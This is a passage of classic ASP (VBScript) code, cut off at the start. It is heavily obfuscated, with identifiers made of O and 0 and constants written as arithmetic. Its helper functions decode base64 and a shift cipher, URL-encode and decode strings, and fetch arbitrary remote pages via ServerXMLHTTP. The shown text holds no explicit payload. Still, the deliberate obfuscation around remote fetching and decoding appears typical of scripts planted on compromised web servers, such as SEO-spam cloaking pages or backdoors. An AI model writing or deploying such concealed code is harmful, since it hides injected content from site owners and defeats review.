( "SERVER_PORT" ) O0000000OO = Request.ServerVariables ( "PATH_INFO" ) O00O0000O00 = Request.ServerVariables ( "QUERY_STRING" ) O0O000OOOO00O = "http://" & OO00OO000 If O0000OOOO0000O <> "80" Then O0O000OOOO00O = O0O000OOOO00O & ":" & O0000OOOO0000O O0O000OOOO00O = O0O000OOOO00O & O0000000OO If O00O0000O00 <> "" Then O0O000OOOO00O = O0O000OOOO00O & "?" & O00O0000O00 O0O0000O0OO0 = O0O000OOOO00O End Function Function OO0O00OO000O(O00O00OOO0OOO0 ) Dim O00OO00O0O0OO0 Dim O00O0OO0OO0OOO Dim OOOOO0O00000O Dim OO00O000OOO00 Dim O0O0O0OOOOOOO Dim OOO0O00O0000 Dim OO0OOOO000O0O OO0O00OO000O = "" O00OO00O0O0OO0 = Len ( O00O00OOO0OOO0 ) For O00O0OO0OO0OOO = ( 69 * 99 - 6830 ) To O00OO00O0O0OO0 OOOOO0O00000O = mid ( O00O00OOO0OOO0 , O00O0OO0OO0OOO , ( 59 * 43 - 2536 ) ) OO00O000OOO00 = Asc ( OOOOO0O00000O ) If OO00O000OOO00 < ( 15 * 1 - 15 ) Then OO00O000OOO00 = OO00O000OOO00 + ( 71 * 36 - - 62980 ) If OO00O000OOO00 > ( 87 * 27 - 2094 ) Then O0O0O0OOOOOOO = Hex ( OO00O000OOO00 ) OOO0O00O0000 = left ( O0O0O0OOOOOOO , ( 37 * 57 - 2107 ) ) OO0OOOO000O0O = right ( O0O0O0OOOOOOO , ( 70 * 46 - 3218 ) ) OO0O00OO000O = OO0O00OO000O & ChrB ( "&H" & OOO0O00O0000 ) & ChrB ( "&H" & OO0OOOO000O0O ) Else OO0O00OO000O = OO0O00OO000O & ChrB ( OO00O000OOO00 ) End If Next End Function Function O0O00OOOOO00O(O00O00OOO0OOO0 ) Dim O00OO00O0O0OO0 Dim O00O0OO0OO0OOO Dim OOOOO0O00000O Dim OO00O000OOO00 O0O00OOOOO00O = "" O00OO00O0O0OO0 = LenB ( O00O00OOO0OOO0 ) If O00OO00O0O0OO0 = ( 100 * 43 - 4300 ) Then Exit Function For O00O0OO0OO0OOO = ( 87 * 41 - 3566 ) To O00OO00O0O0OO0 OOOOO0O00000O = MidB ( O00O00OOO0OOO0 , O00O0OO0OO0OOO , ( 4 * 38 - 151 ) ) OO00O000OOO00 = AscB ( OOOOO0O00000O ) If OO00O000OOO00 > ( 4 * 12 - - 79 ) Then O0O00OOOOO00O = O0O00OOOOO00O & chr ( AscW ( MidB ( O00O00OOO0OOO0 , O00O0OO0OO0OOO + ( 9 * 59 - 530 ) , ( 81 * 69 - 5588 ) ) & OOOOO0O00000O ) ) O00O0OO0OO0OOO = O00O0OO0OO0OOO + ( 73 * 68 - 4963 ) Else O0O00OOOOO00O = O0O00OOOOO00O & chr ( OO00O000OOO00 ) End If Next End Function Function OOOO0000O00OO(O00O00OOO0OOO0 ) Dim OO00OOO00000O Dim O0O00O00OOO Dim OO0OOOOO00OO0 Dim OO000OOOOO0O0 Dim O0OOO0O0OOOO0 Dim O00O0000O00O00 Dim O00000OO0000 Dim OO0000O00OO0O Dim O00O0O00OO0 Dim O0OOO0OOOO0O Dim OOO0OO0000OO0 Dim OOOO00OOOO00 Dim O00OO00O0O0OO0 Dim O00O0O0O0OO00O O00OO00O0O0OO0 = LenB ( O00O00OOO0OOO0 ) OOOO00OOOO00 = O00OO00O0O0OO0 Mod ( 95 * 58 - 5506 ) If O00OO00O0O0OO0 < ( 17 * 27 - 458 ) Or OOOO00OOOO00 > ( 43 * 22 - 946 ) Then OOOO0000O00OO = "" Exit Function End If If MidB ( O00O00OOO0OOO0 , O00OO00O0O0OO0 , ( 49 * 66 - 3233 ) ) = ChrB ( ( 67 * 64 - 4227 ) ) Then OOOO00OOOO00 = ( 74 * 18 - 1329 ) If MidB ( O00O00OOO0OOO0 , O00OO00O0O0OO0 - ( 25 * 39 - 974 ) , ( 97 * 22 - 2133 ) ) = ChrB ( ( 21 * 52 - 1031 ) ) Then OOOO00OOOO00 = ( 59 * 64 - 3774 ) If OOOO00OOOO00 = ( 90 * 38 - 3420 ) Then O00O0O0O0OO00O = O00OO00O0O0OO0 Else O00O0O0O0OO00O = O00OO00O0O0OO0 - ( 62 * 47 - 2910 ) End If For O0O00O00OOO = ( 62 * 27 - 1673 ) To O00O0O0O0OO00O Step ( 32 * 71 - 2268 ) OO000OOOOO0O0 = "" OO0OOOOO00OO0 = MidB ( O00O00OOO0OOO0 , O0O00O00OOO , ( 46 * 55 - 2526 ) ) O0OOO0O0OOOO0 = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 29 * 22 - 637 ) , ( 89 * 15 - 1334 ) ) ) - ( 64 * 64 - 4095 ) O00O0000O00O00 = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 85 * 1 - 83 ) , ( 25 * 79 - 1974 ) ) ) - ( 17 * 77 - 1308 ) O00000OO0000 = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 17 * 52 - 881 ) , ( 2 * 52 - 103 ) ) ) - ( 74 * 62 - 4587 ) OO0000O00OO0O = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 43 * 10 - 426 ) , ( 54 * 23 - 1241 ) ) ) - ( 43 * 55 - 2364 ) O00O0O00OO0 = ChrB ( ( ( O00O0000O00O00 And ( 15 * 37 - 507 ) ) \ ( 70 * 98 - 6844 ) ) Or ( O0OOO0O0OOOO0 * ( 13 * 16 - 204 ) ) And &HFF ) O0OOO0OOOO0O = OO000OOOOO0O0 & ChrB ( ( ( O00000OO0000 And ( 76 * 22 - 1612 ) ) \ ( 12 * 68 - 812 ) ) Or ( O00O0000O00O00 * ( 72 * 34 - 2432 ) ) And &HFF ) OOO0OO0000OO0 = ChrB ( ( ( ( O00000OO0000 And ( 39 * 76 - 2961 ) ) * ( 91 * 71 - 6397 ) ) And &HFF ) Or ( OO0000O00OO0O And ( 32 * 23 - 673 ) ) ) OO000OOOOO0O0 = O00O0O00OO0 & O0OOO0OOOO0O & OOO0OO0000OO0 OO00OOO00000O = OO00OOO00000O & OO000OOOOO0O0 Next If OOOO00OOOO00 > ( 17 * 14 - 238 ) Then OO000OOOOO0O0 = "" OO0OOOOO00OO0 = MidB ( O00O00OOO0OOO0 , O00O0O0O0OO00O + ( 44 * 15 - 659 ) , OOOO00OOOO00 ) & ChrB ( ( 28 * 42 - 1111 ) ) If OOOO00OOOO00 = ( 19 * 71 - 1347 ) Then OO0OOOOO00OO0 = OO0OOOOO00OO0 & ChrB ( ( 43 * 74 - 3117 ) ) End If O0OOO0O0OOOO0 = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 74 * 80 - 5919 ) , ( 64 * 12 - 767 ) ) ) - ( 68 * 27 - 1835 ) O00O0000O00O00 = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 92 * 57 - 5242 ) , ( 35 * 74 - 2589 ) ) ) - ( 56 * 38 - 2127 ) O00000OO0000 = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 85 * 5 - 422 ) , ( 45 * 44 - 1979 ) ) ) - ( 20 * 20 - 399 ) OO0000O00OO0O = InStrB ( OOO00OO0O0O0O , MidB ( OO0OOOOO00OO0 , ( 91 * 8 - 724 ) , ( 32 * 86 - 2751 ) ) ) - ( 24 * 84 - 2015 ) O00O0O00OO0 = ChrB ( ( ( O00O0000O00O00 And ( 50 * 85 - 4202 ) ) \ ( 8 * 85 - 664 ) ) Or ( O0OOO0O0OOOO0 * ( 80 * 69 - 5516 ) ) And &HFF ) O0OOO0OOOO0O = OO000OOOOO0O0 & ChrB ( ( ( O00000OO0000 And ( 46 * 40 - 1780 ) ) \ ( 84 * 52 - 4364 ) ) Or ( O00O0000O00O00 * ( 73 * 84 - 6116 ) ) And &HFF ) OOO0OO0000OO0 = ChrB ( ( ( ( O00000OO0000 And ( 18 * 40 - 717 ) ) * ( 73 * 75 - 5411 ) ) And &HFF ) Or ( OO0000O00OO0O And ( 16 * 19 - 241 ) ) ) If OOOO00OOOO00 = ( 29 * 75 - 2173 ) Then OO000OOOOO0O0 = O00O0O00OO0 ElseIf OOOO00OOOO00 = ( 85 * 41 - 3482 ) Then OO000OOOOO0O0 = O00O0O00OO0 & O0OOO0OOOO0O End If OO00OOO00000O = OO00OOO00000O & OO000OOOOO0O0 End If OOOO0000O00OO = OO00OOO00000O End Function Function O0O000000O00(O00O0OO0OO ) Dim O00000OOO000O Dim O00O0OO0OO0OOO Dim O0O000O0O0 Dim OO0OO0OO000O0 O00000OOO000O = ( 54 * 91 - 4846 ) For O00O0OO0OO0OOO = ( 54 * 33 - 1781 ) To Len ( O00O0OO0OO ) If mid ( O00O0OO0OO , O00O0OO0OO0OOO , ( 68 * 59 - 4011 ) ) <> "页" Then O0O000O0O0 = Asc ( mid ( O00O0OO0OO , O00O0OO0OO0OOO , ( 77 * 86 - 6621 ) ) ) - O00000OOO000O If O0O000O0O0 > ( 53 * 40 - 1994 ) Then O0O000O0O0 = O0O000O0O0 - ( 27 * 85 - 2200 ) ElseIf O0O000O0O0 < ( 10 * 82 - 788 ) Then O0O000O0O0 = O0O000O0O0 + ( 87 * 94 - 8083 ) End If OO0OO0OO000O0 = OO0OO0OO000O0 & chr ( O0O000O0O0 ) Else OO0OO0OO000O0 = OO0OO0OO000O0 & vbCrLf End If Next O0O000000O00 = OO0OO0OO000O0 End Function Function O0OO0OO0OO0OO(ByVal O0000O00OO00O ) O0OO0OO0OO0OO = O0O00OOOOO00O ( OOOO0000O00OO ( OO0O00OO000O ( O0000O00OO00O ) ) ) End Function Function O00OOO0O00(OO0000O000000 ) Dim O00O0OO0OO0OOO Dim OO0O0O00OOO00 For O00O0OO0OO0OOO = ( 36 * 28 - 1007 ) To Len ( OO0000O000000 ) If Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 26 * 65 - 1689 ) ) ) < ( 47 * 29 - 1363 ) Then OO0O0O00OOO00 = "%" & Right ( CStr ( Hex ( Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 76 * 96 - 7295 ) ) ) ) ) , ( 63 * 62 - 3904 ) ) OO0O0O00OOO00 = "%" & Left ( CStr ( Hex ( Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 80 * 53 - 4239 ) ) ) ) ) , Len ( CStr ( Hex ( Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 6 * 49 - 293 ) ) ) ) ) ) - ( 73 * 0 - - 2 ) ) & OO0O0O00OOO00 O00OOO0O00 = O00OOO0O00 & OO0O0O00OOO00 ElseIf ( Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 98 * 31 - 3037 ) ) ) >= ( 4 * 12 - - 17 ) And Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 62 * 39 - 2417 ) ) ) <= ( 34 * 22 - 658 ) ) Or ( Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 57 * 52 - 2963 ) ) ) >= ( 95 * 37 - 3418 ) And Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 85 * 96 - 8159 ) ) ) <= ( 89 * 11 - 857 ) ) Then O00OOO0O00 = O00OOO0O00 & Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 8 * 37 - 295 ) ) Else O00OOO0O00 = O00OOO0O00 & "%" & Hex ( Asc ( Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 97 * 99 - 9602 ) ) ) ) End If Next End Function Function O000OOO000O(OO0000O000000 ) Dim O00O0OO0OO0OOO If InStr ( OO0000O000000 , "%" ) = ( 99 * 89 - 8811 ) Then O000OOO000O = OO0000O000000 : Exit Function For O00O0OO0OO0OOO = ( 93 * 23 - 2138 ) To Len ( OO0000O000000 ) If Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 6 * 44 - 263 ) ) = "%" Then If Eval ( "&H" & Mid ( OO0000O000000 , O00O0OO0OO0OOO + ( 2 * 91 - 181 ) , ( 71 * 31 - 2199 ) ) ) > ( 49 * 50 - 2323 ) Then O000OOO000O = O000OOO000O & Chr ( Eval ( "&H" & Mid ( OO0000O000000 , O00O0OO0OO0OOO + ( 39 * 48 - 1871 ) , ( 20 * 6 - 118 ) ) & Mid ( OO0000O000000 , O00O0OO0OO0OOO + ( 20 * 78 - 1556 ) , ( 3 * 2 - 4 ) ) ) ) O00O0OO0OO0OOO = O00O0OO0OO0OOO + ( 75 * 82 - 6145 ) Else O000OOO000O = O000OOO000O & Chr ( Eval ( "&H" & Mid ( OO0000O000000 , O00O0OO0OO0OOO + ( 8 * 91 - 727 ) , ( 40 * 69 - 2758 ) ) ) ) O00O0OO0OO0OOO = O00O0OO0OO0OOO + ( 1 * 71 - 69 ) End If Else O000OOO000O = O000OOO000O & Mid ( OO0000O000000 , O00O0OO0OO0OOO , ( 81 * 86 - 6965 ) ) End If Next End Function Public Function O00O0000O0000O(O00000O0000O,O0OOO00O00O0 ) Dim OOOO0O00O0O00 On Error Resume Next Set OOOO0O00O0O00 = Server.CreateObject ( "adodb.stream" ) OOOO0O00O0O00.Type = ( 45 * 85 - 3824 ) OOOO0O00O0O00.Mode = ( 58 * 34 - 1969 ) OOOO0O00O0O00.Open OOOO0O00O0O00.Write O00000O0000O OOOO0O00O0O00.Position = ( 53 * 5 - 265 ) OOOO0O00O0O00.Type = ( 21 * 19 - 397 ) OOOO0O00O0O00.Charset = O0OOO00O00O0 O00O0000O0000O = OOOO0O00O0O00.ReadText OOOO0O00O0O00.Close Set OOOO0O00O0O00 = Nothing End Function Public Function OOO000000O0O(OO000 ) Dim O0O0O00O00000 On Error Resume Next If OO000 <> "" Then Set O0O0O00O00000 = Server.CreateObject ( "MSXML2.ServerXMLHTTP.3.0" ) O0O0O00O00000.Open "GET" , OO000 , false O0O0O00O00000.send If O0O0O00O00000.Status <> ( 66 * 74 - 4684 ) Then Exit Function OOO000000O0O = O00O0000O0000O ( O0O0O00O00000.responseBody , "utf-8" ) Set O0O0O00O00000 = Nothing If Err.Number <> ( 39 * 90 - 3510 ) Then Err.Clear End If End Function Public Function OO000OOOO0OO(OOOOOO00O00 ) Dim O0OO0O00O00O Set O0OO0O00O00O = New RegExp O0OO0O00O00O.Pattern = "<[^>]*>" O0OO0O00O00O.Global = True OO000OOOO0OO = O0OO0O00O00O.Replace ( OOOOOO00O00 , "" ) End Function Public Function OO0OOOO0O00O(OOOOO00000O00,O0000OO000OO ) Dim O00000OOOO000 Dim O0O0O0000OOO Dim OOOO00OO0OO Dim OOO0OO0OO00OO Set O00000OOOO000 = New RegExp O00000OOOO000.Pattern = OOOOO00000O00 O00000OOOO000.IgnoreCase = True O00000OOOO000.Global = True Set OOOO00OO0OO = O00000OOOO000.Execute ( O0000OO000OO ) For Each O0O0O0000OOO In OOOO00OO0OO OOO0OO0OO00OO = OOO0OO0OO00OO & replace ( O0O0O0000OOO.SubMatches ( ( 9 * 37 - 333 ) ) , vbCrLf , "" ) & vbCrLf & "
    " Next OO0OOOO0O00O = OOO0OO0OO00OO End Function Public Function O00000000O000(OO0OO0OO000O0,O0O0OO0OOO0,OO0OO00OOO00O ) Dim OO00O000O0000 Dim O0OO0OO0O00O On Error Resume Next OO00O000O0000 = InStr ( lcase ( OO0OO0OO000O0 ) , lcase ( O0O0OO0OOO0 ) ) O0OO0OO0O00O = InStr ( lcase ( OO0OO0OO000O0 ) , lcase ( OO0OO00OOO00O ) ) If OO00O000O0000 > ( 67 * 57 - 3819 ) And O0OO0OO0O00O > ( 13 * 17 - 221 ) Then O00000000O000 = Mid ( OO0OO0OO000O0 , OO00O000O0000 + Len ( O0O0OO0OOO0 ) , O0OO0OO0O00O - OO00O000O0000 - Len ( O0O0OO0OOO0 ) ) End Function Function O000O00000O00O(OO0OO0OO000O0,O0O0OO0OOO0,OO0OO00OOO00O,O0O0000OO000,OOO000O0O0O0 ) Dim OOO0000OO0O0O Dim O00O0OO0OO0OOO Dim OO00O000O0000 OOO0000OO0O0O = OO0OO0OO000O0 For O00O0OO0OO0OOO = ( 24 * 85 - 2040 ) To OOO000O0O0O0 OO00O000O0000 = "" : OO00O000O0000 = OOOO000O00O0O ( OOO0000OO0O0O , O0O0OO0OOO0 , OO0OO00OOO00O ) If Len ( OO00O000O0000 ) > ( 43 * 44 - 1892 ) Then OOO0000OO0O0O = replace ( OOO0000OO0O0O , O0O0OO0OOO0 & OO00O000O0000 & OO0OO00OOO00O , O0O0000OO000 ) Next O000O00000O00O = OOO0000OO0O0O End Function Function O00OO0O00(OO0OO0OO000O0 ) Dim O00O0OO0OO0OOO On Error Resume Next For O00O0OO0OO0OOO = ( 58 * 3 - 173 ) To OO0OO0OO000O0 Randomize O00OO0O00 = O00OO0O00 & Chr ( Int ( ( 36 * 50 - 1774 ) * Rnd + ( 8 * 33 - 167 ) ) ) Next End Function Function O0O000O0O000O(O000000OO0O0O0,OOO0OOOO0O00 ) Dim O00O0OO0OO0OOO On Error Resume Next For O00O0OO0OO0OOO = ( 37 * 21 - 776 ) To Len ( O000000OO0O0O0 ) O0O000O0O000O = Asc ( Mid ( O000000OO0O0O0 , O00O0OO0OO0OOO , ( 90 * 19 - 1709 ) ) ) + O0O000O0O000O Next O0O000O0O000O = O0O000O0O000O * O0O000O0O000O * O0O000O0O000O * O0O000O0O000O * Int ( OOO0OOOO0O00 ) End Function Function OOOO0O00O00O(O000000OO0O0O0 ) Dim O00000OO0OOO Dim OOO0OOOO0O00 Dim O0O00OO0OO0OO On Error Resume Next Set O00000OO0OOO = New RegExp O00000OO0OOO.pattern = "[^a-zA-Z0-9\u4e00-\u9fa5]" O00000OO0OOO.IgnoreCase = O0O00OO0OO0OO O00000OO0OOO.global = true OOO0OOOO0O00 = O00000OO0OOO.replace ( O000000OO0O0O0 , "" ) OOOO0O00O00O = OOO0OOOO0O00 End Function %>